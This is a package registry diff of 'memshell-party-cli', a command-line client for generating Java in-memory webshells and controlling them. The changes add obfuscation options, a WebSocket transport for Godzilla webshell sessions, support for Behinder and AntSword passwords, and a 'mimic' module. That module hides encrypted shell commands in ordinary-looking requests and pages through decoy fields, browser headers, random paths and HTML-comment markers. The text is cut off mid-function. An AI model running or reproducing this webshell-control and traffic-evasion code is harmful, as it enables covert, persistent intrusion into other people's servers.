memshell-party-cli 0.6.0 → 0.8.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/index.js CHANGED
@@ -15,6 +15,7 @@ var MemPartyClient = class {
15
15
  baseUrl;
16
16
  fetchImpl;
17
17
  timeoutMs;
18
+ generationApiVersion;
18
19
  constructor(options) {
19
20
  this.baseUrl = options.baseUrl.replace(/\/+$/, "");
20
21
  this.fetchImpl = options.fetch ?? globalThis.fetch;
@@ -26,8 +27,14 @@ var MemPartyClient = class {
26
27
  }
27
28
  }
28
29
  // ---------- config ----------
29
- getServers() {
30
- return this.request("GET", "/api/config/servers");
30
+ async getServers() {
31
+ const config = await this.getConfig();
32
+ return Object.fromEntries(
33
+ Object.entries(config).map(([server, tools]) => [
34
+ server,
35
+ [...new Set(Object.values(tools).flat())]
36
+ ])
37
+ );
31
38
  }
32
39
  getConfig() {
33
40
  return this.request("GET", "/api/config");
@@ -35,20 +42,68 @@ var MemPartyClient = class {
35
42
  getPackerTree() {
36
43
  return this.request("GET", "/api/config/packers/tree");
37
44
  }
38
- getPackers() {
39
- return this.request("GET", "/api/config/packers");
45
+ async getPackers() {
46
+ try {
47
+ return await this.request("GET", "/api/config/packers");
48
+ } catch (err) {
49
+ if (!(err instanceof ApiError) || err.status !== 404) throw err;
50
+ return (await this.getPackerTree()).map((packer) => packer.name);
51
+ }
40
52
  }
41
- getCommandConfigs() {
53
+ async getCommandConfigs() {
54
+ const configs = await this.getShellToolConfigs();
55
+ const command = configs.find((config) => config.tool === "Command");
56
+ if (command) {
57
+ return {
58
+ encryptors: command.params.find((param) => param.name === "encryptor")?.options ?? [],
59
+ implementationClasses: command.params.find((param) => param.name === "implementationClass")?.options ?? []
60
+ };
61
+ }
42
62
  return this.request("GET", "/api/config/command/configs");
43
63
  }
64
+ async getShellToolConfigs() {
65
+ try {
66
+ return await this.request("GET", "/api/config/shelltool/configs");
67
+ } catch (err) {
68
+ if (err instanceof ApiError && err.status === 404) return [];
69
+ throw err;
70
+ }
71
+ }
72
+ getObfuscationOptions() {
73
+ return this.request("GET", "/api/config/obfuscation/options");
74
+ }
75
+ async getProbeResponseServers() {
76
+ try {
77
+ return await this.request("GET", "/api/config/probe/response/servers");
78
+ } catch (err) {
79
+ if (err instanceof ApiError && err.status === 404) return [];
80
+ throw err;
81
+ }
82
+ }
44
83
  getVersion() {
45
84
  return this.request("GET", "/api/version");
46
85
  }
47
86
  // ---------- generation ----------
48
- generateMemShell(req) {
49
- return this.request("POST", "/api/memshell/generate", {
50
- json: req
51
- });
87
+ async generateMemShell(req) {
88
+ const apiVersion = await this.getGenerationApiVersion();
89
+ try {
90
+ return await this.request("POST", "/api/memshell/generate", {
91
+ json: apiVersion === "v2" ? toLegacyMemShellRequest(req) : req
92
+ });
93
+ } catch (err) {
94
+ if (apiVersion === "v3" && err instanceof ApiError && /Unsupported packer:/.test(err.message)) {
95
+ throw new ApiError(
96
+ `${err.message}. On v3, packer groups are only categories; choose a leaf from 'memparty config packers' (e.g. DefaultBase64, not Base64).`,
97
+ err.status,
98
+ err.url
99
+ );
100
+ }
101
+ throw err;
102
+ }
103
+ }
104
+ getGenerationApiVersion() {
105
+ this.generationApiVersion ??= this.getVersion().then((version2) => Number(version2.currentVersion.split(".")[0]) >= 3 ? "v3" : "v2").catch(() => "v3");
106
+ return this.generationApiVersion;
52
107
  }
53
108
  generateProbe(req) {
54
109
  return this.request("POST", "/api/probe/generate", {
@@ -62,6 +117,16 @@ var MemPartyClient = class {
62
117
  raw: true
63
118
  });
64
119
  }
120
+ decodeBytecode(classBase64) {
121
+ return this.request("POST", "/api/bytecode/decode", {
122
+ text: classBase64
123
+ });
124
+ }
125
+ transformBytecode(req) {
126
+ return this.request("POST", "/api/bytecode/transform", {
127
+ json: req
128
+ });
129
+ }
65
130
  // ---------- transport ----------
66
131
  async request(method, path, opts = {}) {
67
132
  const url = `${this.baseUrl}${path}`;
@@ -115,6 +180,26 @@ var MemPartyClient = class {
115
180
  return JSON.parse(rawText);
116
181
  }
117
182
  };
183
+ function toLegacyMemShellRequest(req) {
184
+ const { pass, key, paramName, template, ...common } = req.shellToolConfig;
185
+ const { obfuscation: _obfuscation, obfuscationScope: _obfuscationScope, ...shellConfig } = req.shellConfig;
186
+ return {
187
+ ...req,
188
+ shellConfig: {
189
+ ...shellConfig,
190
+ probe: shellConfig.probe ? true : void 0
191
+ },
192
+ shellToolConfig: {
193
+ ...common,
194
+ godzillaPass: req.shellConfig.shellTool.startsWith("Godzilla") ? pass : void 0,
195
+ godzillaKey: key,
196
+ commandParamName: paramName,
197
+ commandTemplate: template,
198
+ behinderPass: req.shellConfig.shellTool === "Behinder" ? pass : void 0,
199
+ antSwordPass: req.shellConfig.shellTool === "AntSword" ? pass : void 0
200
+ }
201
+ };
202
+ }
118
203
 
119
204
  // src/core/request-builder.ts
120
205
  import { randomInt } from "crypto";
@@ -126,7 +211,8 @@ var JDK_VERSIONS = {
126
211
  java9: 53,
127
212
  java11: 55,
128
213
  java17: 61,
129
- java21: 65
214
+ java21: 65,
215
+ java25: 69
130
216
  };
131
217
  function resolveJreVersion(input) {
132
218
  if (input === void 0 || input === "") return void 0;
@@ -173,16 +259,16 @@ function buildMemShellRequest(opts) {
173
259
  byPassJavaModule: opts.byPassJavaModule,
174
260
  shrink: opts.shrink,
175
261
  lambdaSuffix: opts.lambdaSuffix,
176
- probe: opts.probe
262
+ probe: opts.probe ? { probeMethod: "ResponseBody", probeContent: "Bytecode" } : void 0,
263
+ obfuscation: opts.obfuscate || opts.obfuscationOptions !== void 0 ? { enabled: true, options: opts.obfuscationOptions } : void 0,
264
+ obfuscationScope: opts.obfuscationScope
177
265
  },
178
266
  shellToolConfig: {
179
267
  shellClassName: opts.shellClassName,
180
- godzillaPass: opts.godzillaPass,
181
- godzillaKey: opts.godzillaKey,
182
- commandParamName: opts.commandParamName,
183
- commandTemplate: opts.commandTemplate,
184
- behinderPass: opts.behinderPass,
185
- antSwordPass: opts.antSwordPass,
268
+ pass: opts.godzillaPass ?? opts.behinderPass ?? opts.antSwordPass,
269
+ key: opts.godzillaKey,
270
+ paramName: opts.commandParamName,
271
+ template: opts.commandTemplate,
186
272
  headerName: opts.headerName,
187
273
  headerValue: opts.headerValue,
188
274
  shellClassBase64: opts.shellClassBase64,
@@ -208,7 +294,8 @@ function buildProbeRequest(opts) {
208
294
  byPassJavaModule: opts.byPassJavaModule,
209
295
  shrink: opts.shrink,
210
296
  staticInitialize: opts.staticInitialize,
211
- lambdaSuffix: opts.lambdaSuffix
297
+ lambdaSuffix: opts.lambdaSuffix,
298
+ obfuscation: opts.obfuscate || opts.obfuscationOptions !== void 0 ? { enabled: true, options: opts.obfuscationOptions } : void 0
212
299
  },
213
300
  probeContentConfig: {
214
301
  host: opts.host,
@@ -216,7 +303,8 @@ function buildProbeRequest(opts) {
216
303
  sleepServer: opts.sleepServer,
217
304
  server: opts.server,
218
305
  reqParamName: opts.reqParamName,
219
- commandTemplate: opts.commandTemplate
306
+ commandTemplate: opts.commandTemplate,
307
+ respHeaderName: opts.respHeaderName
220
308
  },
221
309
  packer: opts.packer
222
310
  };
@@ -256,6 +344,21 @@ function emitPayload(payload, opts, sinks = {}) {
256
344
  `);
257
345
  return { destination: "stdout", size: payload.length, decoded: false };
258
346
  }
347
+ function hasMultiplePackResults(r) {
348
+ return r.allPackResults != null && Object.keys(r.allPackResults).length > 0;
349
+ }
350
+ function emitSinglePackResult(r, opts, sinks = {}) {
351
+ if (hasMultiplePackResults(r)) {
352
+ const n = Object.keys(r.allPackResults).length;
353
+ throw new Error(
354
+ `the aggregate packer returned ${n} variants at once \u2014 cannot write them to a single file. Pick a leaf packer instead (see 'memparty config packers', e.g. DefaultBase64).`
355
+ );
356
+ }
357
+ if (r.packResult === void 0) {
358
+ throw new Error("Server returned no packResult.");
359
+ }
360
+ return emitPayload(r.packResult, opts, sinks);
361
+ }
259
362
 
260
363
  // src/core/config.ts
261
364
  import { readFileSync } from "fs";
@@ -353,7 +456,7 @@ function formatOp(e) {
353
456
  // src/mcp/server.ts
354
457
  import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
355
458
  import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js";
356
- import { writeFileSync as writeFileSync3 } from "fs";
459
+ import { writeFileSync as writeFileSync4 } from "fs";
357
460
  import { z } from "zod";
358
461
 
359
462
  // src/connect/assets.ts
@@ -644,6 +747,20 @@ function postRaw(url, body, options = {}) {
644
747
  return new Promise((resolve2, reject) => {
645
748
  const started = Date.now();
646
749
  const transport = isHttps ? https : http;
750
+ const onResponse = (res) => {
751
+ const chunks = [];
752
+ res.on("data", (chunk) => chunks.push(chunk));
753
+ res.on(
754
+ "end",
755
+ () => resolve2({
756
+ status: res.statusCode ?? 0,
757
+ headers: res.headers,
758
+ body: Buffer.concat(chunks),
759
+ durationMs: Date.now() - started
760
+ })
761
+ );
762
+ res.on("error", (err) => reject(new HttpRequestError(err.message, url, err)));
763
+ };
647
764
  const req = transport.request(
648
765
  {
649
766
  method: "POST",
@@ -661,21 +778,9 @@ function postRaw(url, body, options = {}) {
661
778
  timeout: timeoutMs,
662
779
  ...isHttps && insecure ? { rejectUnauthorized: false } : {}
663
780
  },
664
- (res) => {
665
- const chunks = [];
666
- res.on("data", (chunk) => chunks.push(chunk));
667
- res.on(
668
- "end",
669
- () => resolve2({
670
- status: res.statusCode ?? 0,
671
- headers: res.headers,
672
- body: Buffer.concat(chunks),
673
- durationMs: Date.now() - started
674
- })
675
- );
676
- res.on("error", (err) => reject(new HttpRequestError(err.message, url, err)));
677
- }
781
+ onResponse
678
782
  );
783
+ req.on("upgrade", onResponse);
679
784
  req.on("timeout", () => req.destroy(new Error(`request timed out after ${timeoutMs} ms`)));
680
785
  req.on("error", (err) => reject(new HttpRequestError(err.message, url, err)));
681
786
  req.write(body);
@@ -1101,6 +1206,57 @@ async function uploadBehinder(url, pass, remotePath, data, options = {}) {
1101
1206
 
1102
1207
  // src/connect/godzilla.ts
1103
1208
  import iconv from "iconv-lite";
1209
+
1210
+ // src/connect/websocket.ts
1211
+ import WebSocket from "ws";
1212
+ function isWebSocketUrl(url) {
1213
+ return /^wss?:\/\//i.test(url);
1214
+ }
1215
+ function requestWebSocket(url, body, options = {}) {
1216
+ let target;
1217
+ try {
1218
+ target = new URL(url);
1219
+ } catch {
1220
+ return Promise.reject(new Error(`invalid WebSocket URL: ${url}`));
1221
+ }
1222
+ if (target.protocol !== "ws:" && target.protocol !== "wss:") {
1223
+ return Promise.reject(new Error(`unsupported WebSocket protocol: ${target.protocol}`));
1224
+ }
1225
+ const timeoutMs = options.timeoutMs ?? 3e4;
1226
+ return new Promise((resolve2, reject) => {
1227
+ const socket = new WebSocket(target, {
1228
+ headers: buildHeaders({}, options),
1229
+ handshakeTimeout: timeoutMs,
1230
+ rejectUnauthorized: !options.insecure,
1231
+ perMessageDeflate: false,
1232
+ maxPayload: 256 * 1024 * 1024
1233
+ });
1234
+ let timer;
1235
+ let settled = false;
1236
+ const finish = (error, result) => {
1237
+ if (settled) return;
1238
+ settled = true;
1239
+ if (timer) clearTimeout(timer);
1240
+ timer = void 0;
1241
+ socket.removeAllListeners();
1242
+ if (error) reject(error);
1243
+ else resolve2(result);
1244
+ socket.close();
1245
+ };
1246
+ timer = setTimeout(() => finish(new Error(`WebSocket request timed out after ${timeoutMs}ms`)), timeoutMs);
1247
+ socket.once("open", () => socket.send(body));
1248
+ socket.on("message", (data, isBinary) => {
1249
+ finish(isBinary ? void 0 : new Error("expected a binary Godzilla WebSocket response"), data);
1250
+ });
1251
+ socket.once("close", () => finish(new Error("WebSocket closed without a response")));
1252
+ socket.once("error", (error) => finish(error));
1253
+ socket.once("unexpected-response", (_request, response) => {
1254
+ finish(new Error(`WebSocket handshake failed: HTTP ${response.statusCode ?? 0}`));
1255
+ });
1256
+ });
1257
+ }
1258
+
1259
+ // src/connect/godzilla.ts
1104
1260
  function serializeParams(params) {
1105
1261
  const parts = [];
1106
1262
  for (const [key, value] of params) {
@@ -1147,7 +1303,10 @@ async function openGodzillaSession(url, pass, key, options = {}) {
1147
1303
  const left = wrapper.slice(0, 16);
1148
1304
  const right = wrapper.slice(16);
1149
1305
  const baseHeaders = buildHeaders(
1150
- { "Content-Type": "application/x-www-form-urlencoded" },
1306
+ {
1307
+ "Content-Type": "application/x-www-form-urlencoded",
1308
+ ...options.upgradeProtocol ? { Connection: "Upgrade", Upgrade: options.upgradeProtocol } : {}
1309
+ },
1151
1310
  options
1152
1311
  );
1153
1312
  const post = (data, cookie2) => postRaw(url, encodeBody(pass, xc, data), {
@@ -1155,14 +1314,27 @@ async function openGodzillaSession(url, pass, key, options = {}) {
1155
1314
  timeoutMs: options.timeoutMs,
1156
1315
  insecure: options.insecure
1157
1316
  });
1158
- const initResponse = await post(GODZILLA_PAYLOAD_BYTES);
1159
- const cookies = extractCookies(initResponse.headers);
1160
- const cookie = cookies.length > 0 ? cookies.join("; ") : void 0;
1317
+ let cookie;
1318
+ if (isWebSocketUrl(url)) {
1319
+ await requestWebSocket(url, aesEcbEncrypt(GODZILLA_PAYLOAD_BYTES, xc), options);
1320
+ } else {
1321
+ const initResponse = await post(GODZILLA_PAYLOAD_BYTES);
1322
+ const cookies = extractCookies(initResponse.headers);
1323
+ cookie = cookies.length > 0 ? cookies.join("; ") : void 0;
1324
+ }
1161
1325
  return {
1162
1326
  async callMethod(methodName, extraParams = []) {
1163
1327
  const callData = gzip(
1164
1328
  serializeParams([["methodName", Buffer.from(methodName, "utf8")], ...extraParams])
1165
1329
  );
1330
+ if (isWebSocketUrl(url)) {
1331
+ const response = await requestWebSocket(url, aesEcbEncrypt(callData, xc), options);
1332
+ try {
1333
+ return gunzipLenient(aesEcbDecrypt(response, xc));
1334
+ } catch {
1335
+ throw new Error("WebSocket response failed to decrypt \u2014 wrong key or protocol?");
1336
+ }
1337
+ }
1166
1338
  const res = await post(callData, cookie);
1167
1339
  const text = res.body.toString("latin1");
1168
1340
  const leftIdx = text.indexOf(left);
@@ -1624,9 +1796,568 @@ async function testSuo5(url, options = {}) {
1624
1796
  };
1625
1797
  }
1626
1798
 
1799
+ // src/connect/mimic.ts
1800
+ import { randomInt as randomInt3 } from "crypto";
1801
+
1802
+ // src/core/site-profile.ts
1803
+ import { existsSync as existsSync2, mkdirSync as mkdirSync2, readdirSync, readFileSync as readFileSync3, writeFileSync as writeFileSync2 } from "fs";
1804
+ import { homedir as homedir3 } from "os";
1805
+ import { join as join3 } from "path";
1806
+ function inferBodyTemplateContentType(bodyTemplate) {
1807
+ const t = bodyTemplate.trimStart();
1808
+ if (t.startsWith("--")) return "multipart/form-data";
1809
+ if (t.startsWith("{") || t.startsWith("[")) return "application/json";
1810
+ if (t.startsWith("<")) return "text/xml";
1811
+ return null;
1812
+ }
1813
+ function profileTemplates(profile) {
1814
+ if (Array.isArray(profile.templates) && profile.templates.length > 0) {
1815
+ return profile.templates;
1816
+ }
1817
+ if (profile.template) {
1818
+ return [
1819
+ {
1820
+ title: profile.title ?? "",
1821
+ template: profile.template,
1822
+ contentType: profile.contentType ?? "text/html; charset=utf-8"
1823
+ }
1824
+ ];
1825
+ }
1826
+ return [];
1827
+ }
1828
+ function profileRequests(profile) {
1829
+ if (!profile.request) return [];
1830
+ return Array.isArray(profile.request) ? profile.request : [profile.request];
1831
+ }
1832
+ function pickRequestShape(requests) {
1833
+ if (requests.length === 0) return void 0;
1834
+ const total = requests.reduce((s, r) => s + (r.weight ?? 1), 0);
1835
+ let roll = Math.random() * total;
1836
+ for (const r of requests) {
1837
+ roll -= r.weight ?? 1;
1838
+ if (roll <= 0) return r;
1839
+ }
1840
+ return requests[requests.length - 1];
1841
+ }
1842
+ var NAME_RE = /^[A-Za-z0-9][A-Za-z0-9._-]*$/;
1843
+ var PAYLOAD_PLACEHOLDER = "{{payload}}";
1844
+ function profilesDir() {
1845
+ const override = process.env.MEMPARTY_PROFILES;
1846
+ return override ? override : join3(homedir3(), ".memparty", "profiles");
1847
+ }
1848
+ function profilePath(name) {
1849
+ return join3(profilesDir(), `${name}.json`);
1850
+ }
1851
+ function validateProfile(profile) {
1852
+ if (!NAME_RE.test(profile.name)) {
1853
+ throw new Error(
1854
+ `invalid profile name ${JSON.stringify(profile.name)} \u2014 use letters, digits, '.', '_', '-'`
1855
+ );
1856
+ }
1857
+ if (!profile.site || !/^https?:\/\//.test(profile.site)) {
1858
+ throw new Error(`profile.site must be an http(s) origin (got ${JSON.stringify(profile.site)})`);
1859
+ }
1860
+ const templates = profileTemplates(profile);
1861
+ if (templates.length === 0) {
1862
+ throw new Error("profile needs at least one template (templates[] or legacy template)");
1863
+ }
1864
+ templates.forEach((t, i) => {
1865
+ if (!t.template || !t.template.includes(PAYLOAD_PLACEHOLDER) && !/<!doctype\s+html|<html|<head/i.test(t.template)) {
1866
+ throw new Error(
1867
+ `templates[${i}].template must be a full HTML page, or carry the ${PAYLOAD_PLACEHOLDER} placeholder (any text format)`
1868
+ );
1869
+ }
1870
+ if (!t.contentType) {
1871
+ throw new Error(`templates[${i}].contentType is required (e.g. "text/html; charset=utf-8")`);
1872
+ }
1873
+ });
1874
+ if (!Array.isArray(profile.paths)) {
1875
+ throw new Error("profile.paths must be an array (may be empty)");
1876
+ }
1877
+ for (const [ri, req] of profileRequests(profile).entries()) {
1878
+ if (!req.secretField || !/^[A-Za-z0-9_.-]+$/.test(req.secretField)) {
1879
+ throw new Error(`request[${ri}].secretField must be a form-field name`);
1880
+ }
1881
+ if (req.secretIn !== void 0 && !["body", "query", "header"].includes(req.secretIn)) {
1882
+ throw new Error(`request[${ri}].secretIn must be body | query | header`);
1883
+ }
1884
+ if (req.bodyStyle !== void 0 && !["form", "json"].includes(req.bodyStyle)) {
1885
+ throw new Error(`request[${ri}].bodyStyle must be form | json`);
1886
+ }
1887
+ if (req.bodyTemplate !== void 0) {
1888
+ if (!req.bodyTemplate.includes(PAYLOAD_PLACEHOLDER)) {
1889
+ throw new Error(`request[${ri}].bodyTemplate must carry the ${PAYLOAD_PLACEHOLDER} placeholder`);
1890
+ }
1891
+ if (req.secretIn !== void 0 && req.secretIn !== "body") {
1892
+ throw new Error(`request[${ri}].bodyTemplate only applies to secretIn=body`);
1893
+ }
1894
+ }
1895
+ if (req.headers !== void 0) {
1896
+ for (const [k, v] of Object.entries(req.headers)) {
1897
+ if (typeof v !== "string" || !k) {
1898
+ throw new Error(`request[${ri}].headers must be a string map`);
1899
+ }
1900
+ }
1901
+ }
1902
+ for (const [i, f] of (req.fields ?? []).entries()) {
1903
+ if (!f.name || !/^[A-Za-z0-9_.-]+$/.test(f.name)) {
1904
+ throw new Error(`request[${ri}].fields[${i}].name must be a form-field name`);
1905
+ }
1906
+ if (f.name === req.secretField) {
1907
+ throw new Error(`request[${ri}].fields[${i}] duplicates secretField`);
1908
+ }
1909
+ }
1910
+ }
1911
+ if (profile.cipher !== void 0) {
1912
+ const c = profile.cipher;
1913
+ if (c.algorithm !== void 0 && !["aes-ecb", "aes-cbc", "xor"].includes(c.algorithm)) {
1914
+ throw new Error(`cipher.algorithm must be aes-ecb | aes-cbc | xor (got ${JSON.stringify(c.algorithm)})`);
1915
+ }
1916
+ if (c.encoding !== void 0 && !["base64", "base64url", "hex"].includes(c.encoding)) {
1917
+ throw new Error(`cipher.encoding must be base64 | base64url | hex (got ${JSON.stringify(c.encoding)})`);
1918
+ }
1919
+ if (c.marker !== void 0 && !["js-var", "html-comment"].includes(c.marker)) {
1920
+ throw new Error(`cipher.marker must be js-var | html-comment (got ${JSON.stringify(c.marker)})`);
1921
+ }
1922
+ if (c.padTail !== void 0 && typeof c.padTail !== "boolean") {
1923
+ throw new Error("cipher.padTail must be a boolean");
1924
+ }
1925
+ }
1926
+ }
1927
+ function loadProfile(name) {
1928
+ const path = profilePath(name);
1929
+ if (!existsSync2(path)) {
1930
+ throw new Error(
1931
+ `unknown profile ${JSON.stringify(name)} \u2014 scaffold one with 'memparty profile init ${name} --site <origin>' and fill in the template/paths by hand (stored: ${listProfiles().join(", ") || "(none)"})`
1932
+ );
1933
+ }
1934
+ const profile = JSON.parse(readFileSync3(path, "utf8"));
1935
+ validateProfile(profile);
1936
+ return profile;
1937
+ }
1938
+ function listProfiles() {
1939
+ const dir = profilesDir();
1940
+ if (!existsSync2(dir)) return [];
1941
+ return readdirSync(dir).filter((f) => f.endsWith(".json")).map((f) => f.slice(0, -".json".length)).sort();
1942
+ }
1943
+
1944
+ // src/connect/mimic-codecs.ts
1945
+ import { createCipheriv as createCipheriv2, createDecipheriv as createDecipheriv2, randomBytes as randomBytes3 } from "crypto";
1946
+ var LEGACY_CIPHER = {
1947
+ algorithm: "aes-ecb",
1948
+ encoding: "base64",
1949
+ padTail: false,
1950
+ marker: "js-var"
1951
+ };
1952
+ function resolveCipher(partial) {
1953
+ return { ...LEGACY_CIPHER, ...partial ?? {} };
1954
+ }
1955
+ function xorCrypt(data, key) {
1956
+ const out = Buffer.alloc(data.length);
1957
+ for (let i = 0; i < data.length; i++) out[i] = data[i] ^ key[i % key.length];
1958
+ return out;
1959
+ }
1960
+ function crypt(data, aesKey, enc, algorithm) {
1961
+ switch (algorithm) {
1962
+ case "aes-ecb":
1963
+ return enc ? aesEcbEncrypt(data, aesKey) : aesEcbDecrypt(data, aesKey);
1964
+ case "aes-cbc": {
1965
+ const key = Buffer.from(aesKey, "utf8");
1966
+ if (enc) {
1967
+ const iv = randomBytes3(16);
1968
+ const c = createCipheriv2("aes-128-cbc", key, iv);
1969
+ return Buffer.concat([iv, c.update(data), c.final()]);
1970
+ }
1971
+ const d = createDecipheriv2("aes-128-cbc", key, data.subarray(0, 16));
1972
+ return Buffer.concat([d.update(data.subarray(16)), d.final()]);
1973
+ }
1974
+ case "xor":
1975
+ return xorCrypt(data, Buffer.from(aesKey, "utf8"));
1976
+ }
1977
+ }
1978
+ function encodeBytes(data, encoding) {
1979
+ switch (encoding) {
1980
+ case "base64":
1981
+ return data.toString("base64");
1982
+ case "base64url":
1983
+ return base64UrlEncode(data);
1984
+ case "hex":
1985
+ return data.toString("hex");
1986
+ }
1987
+ }
1988
+ function decodeString(text, encoding) {
1989
+ switch (encoding) {
1990
+ case "base64":
1991
+ return Buffer.from(text, "base64");
1992
+ case "base64url":
1993
+ return base64UrlDecode(text);
1994
+ case "hex":
1995
+ return Buffer.from(text, "hex");
1996
+ }
1997
+ }
1998
+ function padTailLength(aesKey) {
1999
+ return Number.parseInt(md5Hex(aesKey).slice(0, 2), 16) % 16;
2000
+ }
2001
+ var PAD_ALPHABET = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
2002
+ function appendPad(text, aesKey) {
2003
+ const n = padTailLength(aesKey);
2004
+ if (n === 0) return text;
2005
+ const raw = randomBytes3(n);
2006
+ let tail = "";
2007
+ for (let i = 0; i < n; i++) tail += PAD_ALPHABET[raw[i] % PAD_ALPHABET.length];
2008
+ return text + tail;
2009
+ }
2010
+ function stripPad(text, aesKey) {
2011
+ const n = padTailLength(aesKey);
2012
+ return n === 0 ? text : text.slice(0, Math.max(0, text.length - n));
2013
+ }
2014
+ function encryptField(plaintext, aesKey, cipher = LEGACY_CIPHER) {
2015
+ let out = encodeBytes(crypt(plaintext, aesKey, true, cipher.algorithm), cipher.encoding);
2016
+ if (cipher.padTail) out = appendPad(out, aesKey);
2017
+ return out;
2018
+ }
2019
+ function decryptField(value, aesKey, cipher = LEGACY_CIPHER) {
2020
+ let text = value;
2021
+ if (cipher.padTail) text = stripPad(text, aesKey);
2022
+ return crypt(decodeString(text, cipher.encoding), aesKey, false, cipher.algorithm);
2023
+ }
2024
+ function deriveMarkers(pass, secretKey, cipher = LEGACY_CIPHER) {
2025
+ const id = md5Hex(pass + secretKey).slice(0, 5);
2026
+ if (cipher.marker === "html-comment") {
2027
+ const left2 = `<!--Re${id}_config:`;
2028
+ return { left: left2, right: "-->", wrap: (p) => `${left2}${p}-->` };
2029
+ }
2030
+ const left = `var Re${id}_config="`;
2031
+ return { left, right: '";', wrap: (p) => `<script>${left}${p}";</script>` };
2032
+ }
2033
+
2034
+ // src/connect/mimic-shared.ts
2035
+ import { randomBytes as randomBytes4, randomInt as randomInt2, randomUUID } from "crypto";
2036
+ function deriveAesKey(secretKey) {
2037
+ return md5Key16(secretKey);
2038
+ }
2039
+ function renderFieldValue(value) {
2040
+ return value.replaceAll(
2041
+ /\{\{hex:(\d+)\}\}/g,
2042
+ (_m, n) => randomBytes4(Math.ceil(Number(n) / 2)).toString("hex").slice(0, Number(n))
2043
+ ).replaceAll(
2044
+ /\{\{b64:(\d+)\}\}/g,
2045
+ (_m, n) => randomBytes4(Math.ceil(Number(n) * 3 / 4)).toString("base64url").slice(0, Number(n))
2046
+ ).replaceAll(/\{\{uuid\}\}/g, () => randomUUID()).replaceAll(/\{\{ts\}\}/g, () => String(Math.floor(Date.now() / 1e3))).replaceAll(
2047
+ /\{\{int:(\d+):(\d+)\}\}/g,
2048
+ (_m, a, b) => String(randomInt2(Number(a), Number(b) + 1))
2049
+ );
2050
+ }
2051
+ function encryptField2(plaintext, aesKey, cipher = LEGACY_CIPHER) {
2052
+ return encryptField(plaintext, aesKey, cipher);
2053
+ }
2054
+ function decryptField2(value, aesKey, cipher = LEGACY_CIPHER) {
2055
+ return decryptField(value, aesKey, cipher);
2056
+ }
2057
+ function buildFormBody(fields) {
2058
+ return Buffer.from(
2059
+ fields.map((f) => `${f.name}=${encodeURIComponent(f.value)}`).join("&"),
2060
+ "utf8"
2061
+ );
2062
+ }
2063
+ function buildJsonBody(fields) {
2064
+ const obj = {};
2065
+ for (const f of fields) obj[f.name] = f.value;
2066
+ return Buffer.from(JSON.stringify(obj), "utf8");
2067
+ }
2068
+ function renderBodyTemplate(template, payload) {
2069
+ return Buffer.from(renderFieldValue(template.replaceAll("{{payload}}", payload)), "utf8");
2070
+ }
2071
+ function extractBetween(text, left, right) {
2072
+ const start = text.indexOf(left);
2073
+ if (start === -1) return null;
2074
+ const valueStart = start + left.length;
2075
+ if (right === "") return text.slice(valueStart);
2076
+ const end = text.indexOf(right, valueStart);
2077
+ if (end === -1) return null;
2078
+ return text.slice(valueStart, end);
2079
+ }
2080
+ function templateDelimiters(templates, markers) {
2081
+ const out = [];
2082
+ let markerUsed = false;
2083
+ for (const t of templates) {
2084
+ const idx = t.template.indexOf("{{payload}}");
2085
+ if (idx !== -1) {
2086
+ out.push({
2087
+ left: t.template.slice(0, idx),
2088
+ right: t.template.slice(idx + "{{payload}}".length)
2089
+ });
2090
+ } else if (!markerUsed) {
2091
+ out.push({ left: markers.left, right: markers.right });
2092
+ markerUsed = true;
2093
+ }
2094
+ }
2095
+ if (out.length === 0) out.push({ left: markers.left, right: markers.right });
2096
+ return out;
2097
+ }
2098
+
2099
+ // src/connect/mimic.ts
2100
+ var BROWSER_HEADERS = {
2101
+ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36",
2102
+ Accept: "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
2103
+ "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",
2104
+ "Content-Type": "application/x-www-form-urlencoded"
2105
+ };
2106
+ function buildContext(req) {
2107
+ const pass = req.conn.pass ?? "pass";
2108
+ const secretKey = req.conn.key ?? "key";
2109
+ let profile;
2110
+ const profileName = req.options.profile ?? req.conn.profile;
2111
+ if (profileName) {
2112
+ profile = loadProfile(profileName);
2113
+ }
2114
+ const cipher = resolveCipher(profile?.cipher);
2115
+ return {
2116
+ pass,
2117
+ aesKey: deriveAesKey(secretKey),
2118
+ cipher,
2119
+ markers: deriveMarkers(pass, secretKey, cipher),
2120
+ profile,
2121
+ dynamicPath: req.options.dynamicPath ?? false
2122
+ };
2123
+ }
2124
+ function pickRequestUrl(connUrl, ctx) {
2125
+ if (!ctx.dynamicPath || !ctx.profile || ctx.profile.paths.length === 0) {
2126
+ return connUrl;
2127
+ }
2128
+ const origin = new URL(connUrl).origin;
2129
+ const dir = ctx.profile.paths[randomInt3(ctx.profile.paths.length)];
2130
+ const slug = randomString(8).toLowerCase();
2131
+ return `${origin}${dir}${slug}`;
2132
+ }
2133
+ async function roundTrip(req, ctx, plaintext) {
2134
+ let requestUrl = pickRequestUrl(req.conn.url, ctx);
2135
+ const shape = pickRequestShape(ctx.profile ? profileRequests(ctx.profile) : []);
2136
+ const secretField = shape?.secretField ?? ctx.pass;
2137
+ const secretIn = shape?.secretIn ?? "body";
2138
+ const bodyStyle = shape?.bodyStyle ?? "form";
2139
+ const cipher = encryptField2(Buffer.from(plaintext, "utf8"), ctx.aesKey, ctx.cipher);
2140
+ const decoys = (shape?.fields ?? []).map((f) => ({
2141
+ name: f.name,
2142
+ value: renderFieldValue(f.value)
2143
+ }));
2144
+ let body;
2145
+ const extraHeaders = {};
2146
+ if (secretIn === "query") {
2147
+ const qs = buildFormBody([...decoys, { name: secretField, value: cipher }]).toString();
2148
+ requestUrl += (requestUrl.includes("?") ? "&" : "?") + qs;
2149
+ body = Buffer.alloc(0);
2150
+ } else if (secretIn === "header") {
2151
+ extraHeaders[secretField] = cipher;
2152
+ body = bodyStyle === "json" ? buildJsonBody(decoys) : buildFormBody(decoys);
2153
+ } else if (shape?.bodyTemplate) {
2154
+ body = renderBodyTemplate(shape.bodyTemplate, cipher);
2155
+ } else {
2156
